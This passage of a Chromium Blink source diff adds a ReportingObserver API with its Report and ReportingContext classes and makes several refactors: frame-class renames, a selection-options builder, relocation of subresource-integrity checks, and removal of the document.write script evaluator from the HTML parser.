   DCHECK(IsReloadLoadType(load_type));
   if (web_frame_->Client()) {
-    web_frame_->Client()->Reload(
-        static_cast<WebFrameLoadType>(load_type),
-        static_cast<WebClientRedirectPolicy>(client_redirect_policy));
+    web_frame_->Client()->Reload(static_cast<WebFrameLoadType>(load_type),
+                                 client_redirect_policy);
   }
 }
 
diff --git a/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.h b/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.h
index 4ffd4c8..88ebdb7 100644
--- a/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.h
+++ b/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.h
@@ -8,11 +8,11 @@
 #include "core/frame/RemoteFrameClient.h"
 
 namespace blink {
-class WebRemoteFrameBase;
+class WebRemoteFrameImpl;
 
 class RemoteFrameClientImpl final : public RemoteFrameClient {
  public:
-  static RemoteFrameClientImpl* Create(WebRemoteFrameBase*);
+  static RemoteFrameClientImpl* Create(WebRemoteFrameImpl*);
 
   DECLARE_VIRTUAL_TRACE();
 
@@ -42,12 +42,12 @@
   void VisibilityChanged(bool visible) override;
   void SetIsInert(bool) override;
 
-  WebRemoteFrameBase* GetWebFrame() const { return web_frame_; }
+  WebRemoteFrameImpl* GetWebFrame() const { return web_frame_; }
 
  private:
-  explicit RemoteFrameClientImpl(WebRemoteFrameBase*);
+  explicit RemoteFrameClientImpl(WebRemoteFrameImpl*);
 
-  Member<WebRemoteFrameBase> web_frame_;
+  Member<WebRemoteFrameImpl> web_frame_;
 };
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/frame/Report.h b/third_party/WebKit/Source/core/frame/Report.h
new file mode 100644
index 0000000..39ecd52
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/Report.h
@@ -0,0 +1,36 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef Report_h
+#define Report_h
+
+#include "core/frame/ReportBody.h"
+
+namespace blink {
+
+class CORE_EXPORT Report : public GarbageCollectedFinalized<Report>,
+                           public ScriptWrappable {
+  DEFINE_WRAPPERTYPEINFO();
+
+ public:
+  Report(const String& type, const String& url, ReportBody* body)
+      : type_(type), url_(url), body_(body) {}
+
+  virtual ~Report() {}
+
+  String type() const { return type_; }
+  String url() const { return url_; }
+  ReportBody* body() const { return body_; }
+
+  DEFINE_INLINE_TRACE() { visitor->Trace(body_); }
+
+ private:
+  const String type_;
+  const String url_;
+  Member<ReportBody> body_;
+};
+
+}  // namespace blink
+
+#endif  // Report_h
diff --git a/third_party/WebKit/Source/core/frame/Report.idl b/third_party/WebKit/Source/core/frame/Report.idl
new file mode 100644
index 0000000..b1a271d
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/Report.idl
@@ -0,0 +1,14 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// https://github.com/WICG/reporting/blob/master/EXPLAINER.md#reportingobserver---observing-reports-from-javascript
+
+[
+    NoInterfaceObject,
+    RuntimeEnabled=ReportingObserver
+] interface Report {
+    readonly attribute DOMString type;
+    readonly attribute DOMString url;
+    readonly attribute ReportBody? body;
+};
diff --git a/third_party/WebKit/Source/core/frame/ReportBody.h b/third_party/WebKit/Source/core/frame/ReportBody.h
new file mode 100644
index 0000000..fcf8faf
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportBody.h
@@ -0,0 +1,24 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef ReportBody_h
+#define ReportBody_h
+
+#include "platform/bindings/ScriptWrappable.h"
+
+namespace blink {
+
+class CORE_EXPORT ReportBody : public GarbageCollectedFinalized<ReportBody>,
+                               public ScriptWrappable {
+  DEFINE_WRAPPERTYPEINFO();
+
+ public:
+  virtual ~ReportBody() {}
+
+  DEFINE_INLINE_VIRTUAL_TRACE() {}
+};
+
+}  // namespace blink
+
+#endif  // ReportBody_h
diff --git a/third_party/WebKit/Source/core/frame/ReportBody.idl b/third_party/WebKit/Source/core/frame/ReportBody.idl
new file mode 100644
index 0000000..4ff3db08
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportBody.idl
@@ -0,0 +1,11 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// https://github.com/WICG/reporting/blob/master/EXPLAINER.md#reportingobserver---observing-reports-from-javascript
+
+[
+    NoInterfaceObject,
+    RuntimeEnabled=ReportingObserver
+] interface ReportBody {
+};
diff --git a/third_party/WebKit/Source/core/frame/ReportingContext.cpp b/third_party/WebKit/Source/core/frame/ReportingContext.cpp
new file mode 100644
index 0000000..502b2cab
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportingContext.cpp
@@ -0,0 +1,80 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "core/frame/ReportingContext.h"
+
+#include "core/dom/ExecutionContext.h"
+#include "core/dom/TaskRunnerHelper.h"
+#include "core/frame/Report.h"
+#include "core/frame/ReportingObserver.h"
+#include "platform/WebTaskRunner.h"
+#include "platform/bindings/ScriptState.h"
+
+namespace blink {
+
+ReportingContext::ReportingContext(ExecutionContext& context)
+    : Supplement<ExecutionContext>(context), execution_context_(context) {}
+
+// static
+const char* ReportingContext::SupplementName() {
+  return "ReportingContext";
+}
+
+// static
+ReportingContext* ReportingContext::From(ExecutionContext* context) {
+  ReportingContext* reporting_context = static_cast<ReportingContext*>(
+      Supplement<ExecutionContext>::From(context, SupplementName()));
+  if (!reporting_context) {
+    reporting_context = new ReportingContext(*context);
+    Supplement<ExecutionContext>::ProvideTo(*context, SupplementName(),
+                                            reporting_context);
+  }
+  return reporting_context;
+}
+
+void ReportingContext::QueueReport(Report* report) {
+  if (!ObserverExists())
+    return;
+
+  reports_.push_back(report);
+
+  // When the first report of a batch is queued, make a task to report the whole
+  // batch (in the queue) to all ReportingObservers.
+  if (reports_.size() == 1) {
+    TaskRunnerHelper::Get(TaskType::kMiscPlatformAPI, execution_context_)
+        ->PostTask(BLINK_FROM_HERE, WTF::Bind(&ReportingContext::SendReports,
+                                              WrapWeakPersistent(this)));
+  }
+}
+
+void ReportingContext::SendReports() {
+  // The reports queued to be sent to callbacks are copied (and cleared) before
+  // being sent to observers, since additional reports may be queued as a result
+  // of the callbacks.
+  auto reports_to_send = reports_;
+  reports_.clear();
+  for (auto observer : observers_)
+    observer->ReportToCallback(reports_to_send);
+}
+
+void ReportingContext::RegisterObserver(ReportingObserver* observer) {
+  observers_.insert(observer);
+}
+
+void ReportingContext::UnregisterObserver(ReportingObserver* observer) {
+  observers_.erase(observer);
+}
+
+bool ReportingContext::ObserverExists() {
+  return observers_.size();
+}
+
+DEFINE_TRACE(ReportingContext) {
+  visitor->Trace(observers_);
+  visitor->Trace(reports_);
+  visitor->Trace(execution_context_);
+  Supplement<ExecutionContext>::Trace(visitor);
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/frame/ReportingContext.h b/third_party/WebKit/Source/core/frame/ReportingContext.h
new file mode 100644
index 0000000..91c6f4f1
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportingContext.h
@@ -0,0 +1,55 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef ReportingContext_h
+#define ReportingContext_h
+
+#include "core/CoreExport.h"
+#include "core/dom/ExecutionContext.h"
+#include "platform/Supplementable.h"
+
+namespace blink {
+
+class ExecutionContext;
+class Report;
+class ReportingObserver;
+
+// ReportingContext is used as a container for all active ReportingObservers for
+// an ExecutionContext.
+class CORE_EXPORT ReportingContext final
+    : public GarbageCollectedFinalized<ReportingContext>,
+      public Supplement<ExecutionContext> {
+  USING_GARBAGE_COLLECTED_MIXIN(ReportingContext)
+ public:
+  explicit ReportingContext(ExecutionContext&);
+
+  static const char* SupplementName();
+
+  // Returns the ReportingContext for an ExecutionContext. If one does not
+  // already exist for the given context, one is created.
+  static ReportingContext* From(ExecutionContext*);
+
+  // Queues a report to be reported to all observers.
+  void QueueReport(Report*);
+
+  // Sends all queued reports to all observers.
+  void SendReports();
+
+  void RegisterObserver(ReportingObserver*);
+  void UnregisterObserver(ReportingObserver*);
+
+  // Returns whether there is at least one active ReportingObserver.
+  bool ObserverExists();
+
+  DECLARE_VIRTUAL_TRACE();
+
+ private:
+  HeapListHashSet<Member<ReportingObserver>> observers_;
+  HeapVector<Member<Report>> reports_;
+  Member<ExecutionContext> execution_context_;
+};
+
+}  // namespace blink
+
+#endif  // ReportingContext_h
diff --git a/third_party/WebKit/Source/core/frame/ReportingObserver.cpp b/third_party/WebKit/Source/core/frame/ReportingObserver.cpp
new file mode 100644
index 0000000..ae93139a
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportingObserver.cpp
@@ -0,0 +1,42 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "core/frame/ReportingObserver.h"
+
+#include "core/dom/ExecutionContext.h"
+#include "core/frame/Report.h"
+#include "core/frame/ReportingContext.h"
+#include "platform/bindings/ScriptState.h"
+
+namespace blink {
+
+ReportingObserver* ReportingObserver::Create(
+    ExecutionContext* execution_context,
+    ReportingObserverCallback* callback) {
+  return new ReportingObserver(execution_context, callback);
+}
+
+ReportingObserver::ReportingObserver(ExecutionContext* execution_context,
+                                     ReportingObserverCallback* callback)
+    : execution_context_(execution_context), callback_(callback) {}
+
+void ReportingObserver::ReportToCallback(
+    const HeapVector<Member<Report>>& reports) {
+  callback_->call(this, reports, this);
+}
+
+void ReportingObserver::observe() {
+  ReportingContext::From(execution_context_)->RegisterObserver(this);
+}
+
+void ReportingObserver::disconnect() {
+  ReportingContext::From(execution_context_)->UnregisterObserver(this);
+}
+
+DEFINE_TRACE(ReportingObserver) {
+  visitor->Trace(execution_context_);
+  visitor->Trace(callback_);
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/frame/ReportingObserver.h b/third_party/WebKit/Source/core/frame/ReportingObserver.h
new file mode 100644
index 0000000..7047b97
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportingObserver.h
@@ -0,0 +1,45 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef ReportingObserver_h
+#define ReportingObserver_h
+
+#include "bindings/core/v8/ReportingObserverCallback.h"
+#include "core/CoreExport.h"
+#include "platform/bindings/ScriptWrappable.h"
+#include "platform/wtf/Vector.h"
+
+namespace blink {
+
+class ExecutionContext;
+class Report;
+class ReportingObserverCallback;
+
+class CORE_EXPORT ReportingObserver final
+    : public GarbageCollected<ReportingObserver>,
+      public ScriptWrappable {
+  DEFINE_WRAPPERTYPEINFO();
+
+ public:
+  static ReportingObserver* Create(ExecutionContext*,
+                                   ReportingObserverCallback*);
+
+  // Call the callback with reports.
+  void ReportToCallback(const HeapVector<Member<Report>>& reports);
+
+  void observe();
+  void disconnect();
+
+  DECLARE_TRACE();
+
+ private:
+  explicit ReportingObserver(ExecutionContext*, ReportingObserverCallback*);
+
+  Member<ExecutionContext> execution_context_;
+  Member<ReportingObserverCallback> callback_;
+};
+
+}  // namespace blink
+
+#endif  // ReportingObserver_h
diff --git a/third_party/WebKit/Source/core/frame/ReportingObserver.idl b/third_party/WebKit/Source/core/frame/ReportingObserver.idl
new file mode 100644
index 0000000..f3cbb925
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/ReportingObserver.idl
@@ -0,0 +1,16 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// https://github.com/WICG/reporting/blob/master/EXPLAINER.md#reportingobserver---observing-reports-from-javascript
+
+callback ReportingObserverCallback = void (sequence<Report> reports, ReportingObserver observer);
+
+[
+    Constructor(ReportingObserverCallback callback),
+    ConstructorCallWith=ExecutionContext,
+    RuntimeEnabled=ReportingObserver
+] interface ReportingObserver {
+    void observe();
+    void disconnect();
+};
diff --git a/third_party/WebKit/Source/core/frame/VisualViewportTest.cpp b/third_party/WebKit/Source/core/frame/VisualViewportTest.cpp
index 37bbb86..982ccdc8 100644
--- a/third_party/WebKit/Source/core/frame/VisualViewportTest.cpp
+++ b/third_party/WebKit/Source/core/frame/VisualViewportTest.cpp
@@ -1074,7 +1074,8 @@
   EXPECT_TRUE(navbar->NeedsLayout());
 }
 
-class MockWebFrameClient : public FrameTestHelpers::TestWebFrameClient {
+class VisualViewportMockWebFrameClient
+    : public FrameTestHelpers::TestWebFrameClient {
  public:
   MOCK_METHOD1(ShowContextMenu, void(const WebContextMenuData&));
   MOCK_METHOD0(DidChangeScrollOffset, void());
@@ -1110,7 +1111,7 @@
   mouse_up_event.SetType(WebInputEvent::kMouseUp);
 
   WebFrameClient* old_client = WebViewImpl()->MainFrameImpl()->Client();
-  MockWebFrameClient mock_web_frame_client;
+  VisualViewportMockWebFrameClient mock_web_frame_client;
   EXPECT_CALL(mock_web_frame_client,
               ShowContextMenu(ContextMenuAtLocation(
                   mouse_down_event.PositionInWidget().x,
@@ -1153,7 +1154,7 @@
   NavigateTo(base_url_ + "200-by-300.html");
 
   WebFrameClient* old_client = WebViewImpl()->MainFrameImpl()->Client();
-  MockWebFrameClient mock_web_frame_client;
+  VisualViewportMockWebFrameClient mock_web_frame_client;
   WebViewImpl()->MainFrameImpl()->SetClient(&mock_web_frame_client);
 
   WebViewImpl()->SetPageScaleFactor(2);
diff --git a/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp b/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp
index a4b23c8..b19df3a 100644
--- a/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp
+++ b/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp
@@ -116,6 +116,7 @@
 #include "core/editing/FrameSelection.h"
 #include "core/editing/InputMethodController.h"
 #include "core/editing/PlainTextRange.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/TextAffinity.h"
 #include "core/editing/TextFinder.h"
 #include "core/editing/iterators/TextIterator.h"
@@ -1209,15 +1210,13 @@
       handle_visibility_behavior == kShowSelectionHandle ||
       (handle_visibility_behavior == kPreserveHandleVisibility &&
        selection.IsHandleVisible());
-  selection.SetSelection(
-      SelectionInDOMTree::Builder()
-          .SetBaseAndExtent(range)
-          .SetAffinity(VP_DEFAULT_AFFINITY)
-          .SetIsHandleVisible(show_handles)
-          .SetIsDirectional(false)
-          .Build(),
-      FrameSelection::ConvertSetSelectionByToSetSelectionOptions(
-          SetSelectionBy::kSystem));
+  selection.SetSelection(SelectionInDOMTree::Builder()
+                             .SetBaseAndExtent(range)
+                             .SetAffinity(VP_DEFAULT_AFFINITY)
+                             .SetIsHandleVisible(show_handles)
+                             .SetIsDirectional(false)
+                             .Build(),
+                         SetSelectionData());
 }
 
 WebString WebLocalFrameImpl::RangeAsText(const WebRange& web_range) {
diff --git a/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.cpp b/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.cpp
deleted file mode 100644
index 09805e2..0000000
--- a/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.cpp
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "core/frame/WebRemoteFrameBase.h"
-
-#include "core/frame/RemoteFrame.h"
-#include "core/page/ChromeClient.h"
-#include "core/page/Page.h"
-
-namespace blink {
-
-WebRemoteFrameBase* WebRemoteFrameBase::FromFrame(RemoteFrame& frame) {
-  if (frame.GetPage()) {
-    return frame.GetPage()->GetChromeClient().GetWebRemoteFrameBase(frame);
-  }
-  return nullptr;
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.h b/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.h
index 77aa943..26c999a 100644
--- a/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.h
+++ b/third_party/WebKit/Source/core/frame/WebRemoteFrameBase.h
@@ -18,8 +18,6 @@
 class WebRemoteFrameBase : public GarbageCollectedFinalized<WebRemoteFrameBase>,
                            public WebRemoteFrame {
  public:
-  CORE_EXPORT static WebRemoteFrameBase* FromFrame(RemoteFrame&);
-
   virtual void InitializeCoreFrame(Page&,
                                    FrameOwner*,
                                    const AtomicString& name) = 0;
diff --git a/third_party/WebKit/Source/core/frame/csp/CSPDirectiveListTest.cpp b/third_party/WebKit/Source/core/frame/csp/CSPDirectiveListTest.cpp
index 5268f9e8..d6a71c3 100644
--- a/third_party/WebKit/Source/core/frame/csp/CSPDirectiveListTest.cpp
+++ b/third_party/WebKit/Source/core/frame/csp/CSPDirectiveListTest.cpp
@@ -4,9 +4,9 @@
 
 #include "core/frame/csp/CSPDirectiveList.h"
 
-#include "core/frame/SubresourceIntegrity.h"
 #include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/frame/csp/SourceListDirective.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/ResourceRequest.h"
 #include "platform/network/ContentSecurityPolicyParsers.h"
 #include "platform/wtf/text/StringOperators.h"
diff --git a/third_party/WebKit/Source/core/html/HTMLFormElement.cpp b/third_party/WebKit/Source/core/html/HTMLFormElement.cpp
index 6b9eefe..d833cfd 100644
--- a/third_party/WebKit/Source/core/html/HTMLFormElement.cpp
+++ b/third_party/WebKit/Source/core/html/HTMLFormElement.cpp
@@ -457,7 +457,8 @@
   }
 
   Frame* target_frame = GetDocument().GetFrame()->FindFrameForNavigation(
-      submission->Target(), *GetDocument().GetFrame());
+      submission->Target(), *GetDocument().GetFrame(),
+      submission->RequestURL());
   if (!target_frame) {
     target_frame = GetDocument().GetFrame();
   } else {
diff --git a/third_party/WebKit/Source/core/html/HTMLHRElement.cpp b/third_party/WebKit/Source/core/html/HTMLHRElement.cpp
index a2fd9af1..7f2452e 100644
--- a/third_party/WebKit/Source/core/html/HTMLHRElement.cpp
+++ b/third_party/WebKit/Source/core/html/HTMLHRElement.cpp
@@ -94,8 +94,7 @@
       style->SetProperty(CSSPropertyBackgroundColor, dark_gray_value);
     }
   } else if (name == sizeAttr) {
-    StringImpl* si = value.Impl();
-    int size = si->ToInt();
+    int size = value.ToInt();
     if (size <= 1)
       AddPropertyToPresentationAttributeStyle(
           style, CSSPropertyBorderBottomWidth, 0,
diff --git a/third_party/WebKit/Source/core/html/LinkStyle.cpp b/third_party/WebKit/Source/core/html/LinkStyle.cpp
index 2b24a45f..7c47888 100644
--- a/third_party/WebKit/Source/core/html/LinkStyle.cpp
+++ b/third_party/WebKit/Source/core/html/LinkStyle.cpp
@@ -9,12 +9,13 @@
 #include "core/dom/Document.h"
 #include "core/frame/LocalFrame.h"
 #include "core/frame/LocalFrameClient.h"
-#include "core/frame/SubresourceIntegrity.h"
 #include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/html/CrossOriginAttribute.h"
 #include "core/html/HTMLLinkElement.h"
+#include "core/loader/SubresourceIntegrityHelper.h"
 #include "core/loader/resource/CSSStyleSheetResource.h"
 #include "platform/Histogram.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/FetchParameters.h"
 #include "platform/loader/fetch/ResourceLoaderOptions.h"
 #include "platform/loader/fetch/ResourceRequest.h"
@@ -94,9 +95,11 @@
         data = cached_style_sheet->ResourceBuffer()->Data();
         size = cached_style_sheet->ResourceBuffer()->size();
       }
+      SubresourceIntegrity::ReportInfo report_info;
       check_result = SubresourceIntegrity::CheckSubresourceIntegrity(
-          owner_->FastGetAttribute(integrityAttr), GetDocument(), data, size,
-          KURL(base_url, href), *cached_style_sheet);
+          owner_->FastGetAttribute(integrityAttr), data, size,
+          KURL(base_url, href), *cached_style_sheet, report_info);
+      SubresourceIntegrityHelper::DoReport(GetDocument(), report_info);
       disposition = check_result ? ResourceIntegrityDisposition::kPassed
                                  : ResourceIntegrityDisposition::kFailed;
 
diff --git a/third_party/WebKit/Source/core/html/TextControlElement.cpp b/third_party/WebKit/Source/core/html/TextControlElement.cpp
index 799d5c4a..4be01e8 100644
--- a/third_party/WebKit/Source/core/html/TextControlElement.cpp
+++ b/third_party/WebKit/Source/core/html/TextControlElement.cpp
@@ -35,6 +35,7 @@
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/Editor.h"
 #include "core/editing/FrameSelection.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/iterators/CharacterIterator.h"
 #include "core/editing/iterators/TextIterator.h"
 #include "core/editing/serializers/Serialization.h"
@@ -439,8 +440,11 @@
                                                               : end_position)
           .SetIsDirectional(direction != kSelectionHasNoDirection)
           .Build(),
-      FrameSelection::kCloseTyping | FrameSelection::kClearTypingStyle |
-          FrameSelection::kDoNotSetFocus);
+      SetSelectionData::Builder()
+          .SetShouldCloseTyping(true)
+          .SetShouldClearTypingStyle(true)
+          .SetDoNotSetFocus(true)
+          .Build());
   return did_change;
 }
 
diff --git a/third_party/WebKit/Source/core/html/forms/InternalPopupMenu.cpp b/third_party/WebKit/Source/core/html/forms/InternalPopupMenu.cpp
index e5953c4..e5738f3 100644
--- a/third_party/WebKit/Source/core/html/forms/InternalPopupMenu.cpp
+++ b/third_party/WebKit/Source/core/html/forms/InternalPopupMenu.cpp
@@ -33,12 +33,44 @@
 
 namespace {
 
+const char* FontWeightToString(FontWeight weight) {
+  switch (weight) {
+    case kFontWeight100:
+      return "100";
+    case kFontWeight200:
+      return "200";
+    case kFontWeight300:
+      return "300";
+    case kFontWeight400:
+      return "400";
+    case kFontWeight500:
+      return "500";
+    case kFontWeight600:
+      return "600";
+    case kFontWeight700:
+      return "700";
+    case kFontWeight800:
+      return "800";
+    case kFontWeight900:
+      return "900";
+  }
+  NOTREACHED();
+  return nullptr;
+}
+
 // TODO crbug.com/516675 Add stretch to serialization
 
-const char* FontStyleToString(FontSelectionValue slope) {
-  if (slope == ItalicSlopeValue())
-    return "italic";
-  return "normal";
+const char* FontStyleToString(FontStyle style) {
+  switch (style) {
+    case kFontStyleNormal:
+      return "normal";
+    case kFontStyleOblique:
+      return "oblique";
+    case kFontStyleItalic:
+      return "italic";
+  }
+  NOTREACHED();
+  return nullptr;
 }
 
 const char* TextTransformToString(ETextTransform transform) {
@@ -335,8 +367,9 @@
     AddProperty("fontSize", font_description.ComputedPixelSize(), data);
   }
   // Our UA stylesheet has font-weight:normal for OPTION.
-  if (NormalWeightValue() != font_description.Weight()) {
-    AddProperty("fontWeight", String::Number(font_description.Weight()), data);
+  if (kFontWeightNormal != font_description.Weight()) {
+    AddProperty("fontWeight",
+                String(FontWeightToString(font_description.Weight())), data);
   }
   if (base_font.Family() != font_description.Family()) {
     PagePopupClient::AddString("fontFamily: [\n", data);
diff --git a/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.cpp b/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.cpp
index ab48035..577fd347 100644
--- a/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.cpp
+++ b/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.cpp
@@ -260,11 +260,9 @@
 
       CompactHTMLToken token(token_.get(), position);
 
-      bool should_evaluate_for_document_write = false;
       bool is_csp_meta_tag = false;
       preload_scanner_->Scan(token, input_.Current(), pending_preloads_,
-                             &viewport_description_, &is_csp_meta_tag,
-                             &should_evaluate_for_document_write);
+                             &viewport_description_, &is_csp_meta_tag);
 
       simulated_token =
           tree_builder_simulator_.Simulate(token, tokenizer_.get());
@@ -281,10 +279,6 @@
       if (is_csp_meta_tag) {
         pending_csp_meta_token_index_ = pending_tokens_->size() - 1;
       }
-      if (should_evaluate_for_document_write) {
-        likely_document_write_script_indices_.push_back(
-            pending_tokens_->size() - 1);
-      }
     }
 
     token_->Clear();
@@ -341,8 +335,6 @@
   chunk->preload_scanner_checkpoint = preload_scanner_->CreateCheckpoint();
   chunk->tokens = std::move(pending_tokens_);
   chunk->starting_script = starting_script_;
-  chunk->likely_document_write_script_indices.swap(
-      likely_document_write_script_indices_);
   chunk->pending_csp_meta_token_index = pending_csp_meta_token_index_;
   starting_script_ = false;
   pending_csp_meta_token_index_ =
diff --git a/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.h b/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.h
index a2a501c..bedb00d2 100644
--- a/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.h
+++ b/third_party/WebKit/Source/core/html/parser/BackgroundHTMLParser.h
@@ -130,8 +130,6 @@
   std::unique_ptr<CompactHTMLTokenStream> pending_tokens_;
   const size_t pending_token_limit_;
   PreloadRequestStream pending_preloads_;
-  // Indices into |m_pendingTokens|.
-  Vector<int> likely_document_write_script_indices_;
   ViewportDescriptionWrapper viewport_description_;
   XSSInfoStream pending_xss_infos_;
 
diff --git a/third_party/WebKit/Source/core/html/parser/CSSPreloadScannerTest.cpp b/third_party/WebKit/Source/core/html/parser/CSSPreloadScannerTest.cpp
index 04a5439..b69699a 100644
--- a/third_party/WebKit/Source/core/html/parser/CSSPreloadScannerTest.cpp
+++ b/third_party/WebKit/Source/core/html/parser/CSSPreloadScannerTest.cpp
@@ -142,7 +142,7 @@
 
   const char* data = "@import url('http://127.0.0.1/preload.css');";
   resource->AppendData(data, strlen(data));
-  ResourceError error(kErrorDomainBlinkInternal, 0, url, "");
+  ResourceError error(ResourceError::Domain::kBlinkInternal, 0, url, "");
   resource->FinishAsError(error);
 
   // Should not crash.
diff --git a/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.cpp b/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.cpp
index 98fcb8c..29d1842 100644
--- a/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.cpp
+++ b/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.cpp
@@ -26,7 +26,6 @@
 #include "core/html/parser/HTMLDocumentParser.h"
 
 #include <memory>
-#include "bindings/core/v8/DocumentWriteEvaluator.h"
 #include "core/HTMLNames.h"
 #include "core/css/MediaValuesCached.h"
 #include "core/css/resolver/StyleResolver.h"
@@ -143,7 +142,6 @@
       weak_factory_(this),
       preloader_(HTMLResourcePreloader::Create(document)),
       tokenized_chunk_queue_(TokenizedChunkQueue::Create()),
-      evaluator_(DocumentWriteEvaluator::Create(document)),
       pending_csp_meta_token_(nullptr),
       should_use_threading_(sync_policy == kAllowAsynchronousParsing),
       end_was_delayed_(false),
@@ -368,11 +366,6 @@
         else
           queued_preloads_.push_back(std::move(request));
       }
-      for (auto& index : chunk->likely_document_write_script_indices) {
-        const CompactHTMLToken& token = chunk->tokens->at(index);
-        DCHECK_EQ(token.GetType(), HTMLToken::TokenType::kCharacter);
-        queued_document_write_scripts_.push_back(token.Data());
-      }
     }
     preloader_->TakeAndPreload(link_rel_preloads);
   } else {
@@ -380,19 +373,8 @@
     // document element is available, as we empty the queue immediately after
     // the document element is created in documentElementAvailable().
     DCHECK(queued_preloads_.IsEmpty());
-    DCHECK(queued_document_write_scripts_.IsEmpty());
-    // Loop through the chunks to generate preloads before any document.write
-    // script evaluation takes place. Preloading these scripts is valuable and
-    // comparably cheap, while evaluating JS can be expensive.
     for (auto& chunk : pending_chunks)
       preloader_->TakeAndPreload(chunk->preloads);
-    for (auto& chunk : pending_chunks) {
-      for (auto& index : chunk->likely_document_write_script_indices) {
-        const CompactHTMLToken& token = chunk->tokens->at(index);
-        DCHECK_EQ(token.GetType(), HTMLToken::TokenType::kCharacter);
-        EvaluateAndPreloadScriptForDocumentWrite(token.Data());
-      }
-    }
   }
 
   for (auto& chunk : pending_chunks)
@@ -1289,69 +1271,6 @@
 
   if (!queued_preloads_.IsEmpty())
     preloader_->TakeAndPreload(queued_preloads_);
-
-  for (const String& script_source : queued_document_write_scripts_) {
-    EvaluateAndPreloadScriptForDocumentWrite(script_source);
-  }
-
-  queued_document_write_scripts_.clear();
-}
-
-void HTMLDocumentParser::EvaluateAndPreloadScriptForDocumentWrite(
-    const String& source) {
-  if (!evaluator_->ShouldEvaluate(source))
-    return;
-  GetDocument()->Loader()->DidObserveLoadingBehavior(
-      WebLoadingBehaviorFlag::kWebLoadingBehaviorDocumentWriteEvaluator);
-  if (!RuntimeEnabledFeatures::DocumentWriteEvaluatorEnabled())
-    return;
-  TRACE_EVENT0("blink",
-               "HTMLDocumentParser::evaluateAndPreloadScriptForDocumentWrite");
-
-  double initialize_start_time = MonotonicallyIncreasingTimeMS();
-  bool needed_initialization = evaluator_->EnsureEvaluationContext();
-  double initialization_duration =
-      MonotonicallyIncreasingTimeMS() - initialize_start_time;
-
-  double start_time = MonotonicallyIncreasingTimeMS();
-  String written_source = evaluator_->EvaluateAndEmitWrittenSource(source);
-  double duration = MonotonicallyIncreasingTimeMS() - start_time;
-
-  int current_preload_count =
-      GetDocument()->Loader()->Fetcher()->CountPreloads();
-
-  std::unique_ptr<HTMLPreloadScanner> scanner =
-      CreatePreloadScanner(TokenPreloadScanner::ScannerType::kInsertion);
-  scanner->AppendToEnd(SegmentedString(written_source));
-  ScanAndPreload(scanner.get());
-
-  int num_preloads = GetDocument()->Loader()->Fetcher()->CountPreloads() -
-                     current_preload_count;
-
-  TRACE_EVENT_INSTANT2(
-      "blink",
